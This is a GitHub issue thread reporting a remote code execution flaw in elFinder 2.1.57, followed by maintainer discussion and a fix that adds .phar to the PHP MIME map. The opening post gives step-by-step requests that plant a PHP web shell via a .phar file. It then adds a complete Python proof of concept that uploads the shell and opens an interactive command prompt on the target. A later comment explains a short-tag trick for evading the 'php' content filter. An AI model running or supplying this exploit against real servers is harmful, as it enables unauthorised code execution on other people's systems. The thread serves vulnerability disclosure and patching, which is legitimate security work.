New issue

Jump to bottom

Remote Code Execution in elFinder 2.1.57 #3295

Closed **bng0** opened this issue on May 8, 2021 · 9 comments

bng0 commented on May 8, 2021 • edited

1. create a .phar file using the following URL:
   http://hostname/elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=webshell.phar
2. Add PHP code in the webshell.phar file by following GET request:
   http://hostname/elFinder/php/connector.minimal.php?cmd=put&target=<hash_of_the_shell.phar_file_from_step1_response>&content= `<?=system($_GET[0]);?>`
3. Execute the OS command with the privilege of the webserver:
   http://hostname/elFinder/files/webshell.phar?0=id

Tested on apache and nginx webservers. By default it works in apache webserver and it requires .phar file to be executed as php code in nginx

```
Python POC:

import http.client, urllib.parse,sys,re
from pwn import *
import pwnlib.util.web

Author="Ashok Chand"
print("Author: ",Author)

def main():
    if len(sys.argv)==1:
        print("Usage: python3 elfinder_2.1.57_exploit.py <ip>")
        sys.exit(0)
    host=sys.argv[1]
    headers={"Host":host}
    connect=http.client.HTTPConnection(host)
    connect.request("GET","/elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=webshell.phar")
    response=connect.getresponse()
    x=response.read()
    file_hash=re.findall(b'l1_[A-Za-z0-9]{10,18}',x)
    for h in file_hash:
        hash_file=h.decode()
    connect.request("GET","/elFinder/php/connector.minimal.php?cmd=put&content=<?='';system($_GET[0]);?>&target="+hash_file)
    while True:
        cmd=raw_input("cmd>")
        print(cmd)
        url=f"http://{host}/elFinder/files/webshell.phar?0={cmd.decode()}"
        res=wget(url, timeout=20)
        print(res.decode())
if __name__=="__main__":
    main()
```

nao-pon commented on May 30, 2021 Member

@bng0 The server administrator must properly set the file types that are allowed to be uploaded in elFinder. If you can use elFinder to install a prohibited file type on the server in some way, it is a vulnerability of elFinder.
However, if the upload prohibition mechanism is working properly, it is a responsibility set by the server administrator.

👍 1

crackytsi commented on May 31, 2021

I think .phar extension should be included by default in staticMineMap at https://github.com/Studio-42/elFinder/blob/master/php/elFinderVolumeDriver.class.php

nao-pon commented on May 31, 2021 Member

@crackytsi Certainly, that is safer. I include phar in staticMineMap's x-php by default. Thanks! 👍

😄 1 🚀 1

nao-pon added a commit that referenced this issue on May 31, 2021

`[VD:abstract] add 'phar:*' => 'text/x-php' into 'staticMineMap'` ... 75ea92d

bng0 commented on Jun 2, 2021 Author

So, is this a valid bug?

nao-pon commented on Jun 2, 2021 Member

@bng0 What you have reported is not a bug in elFinder.

For example, if you have a setting that allows untrusted users to upload PHP files with elFinder to a directory where PHP can be executed, it is probably a misconfiguration of the elFinder installer.

On the other hand, if the elFinder installer has set the appropriate settings, but there is a security hole that bypasses the settings, we consider it a bug in elFinder and need to take immediate action.

If you discover such elFinder bugs in the future, please notify to the maintainers of this repository by email.

❤️ 1

bng0 commented on Jun 2, 2021 Author

ok sure, thanks.

bng0 commented on Jun 2, 2021 Author

Bye the way, directly neither .php file was allowed to upload nor any content containing `php` string was allowed to write to the upload files. So i used `<?=` which is a bypass to the restriction. Since .phar was the only file that could be executed as the PHP file. So combining these two, shell was uploaded. Also, any allowed file types can be renamed later to the .phar file but renaming to .php was also not allowed. Isn't this a bypass or bug?

nao-pon commented on Jun 2, 2021 Member

@bng0 ah I see. It seems that file type detection by phpinfo does not support short tags.

1. elFinder prohibits uploading x-php MIME-Type
2. ".phar" can be executed in a directory that can be uploaded by elFinder
3. Short tags are enabled in PHP settings

In the above case, it certainly creates a vulnerable state. In such cases, the `'phar: *'=>' text / x-php'` added to the'staticMineMap' will be enabled, but some servers may be able to run PHP in .html. In that case, you need to set .html as x-php.

However, it is difficult to handle these various cases by default, so it is necessary for the person who installs elFinder to understand the specifications of the server and set it appropriately.

```
'additionalMimeMap' => array ('html: *'=>' text / x-php',),
```

For me personally, I think it's safe to set the directories that can be uploaded by elFinder so that no file type can be made executable.

bng0 commented on Jun 2, 2021 Author

Adding .phar in StaticMineMap array fixed the issue. Thanks and cheers .

👍 1

nao-pon closed this as completed on Jun 8, 2021

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants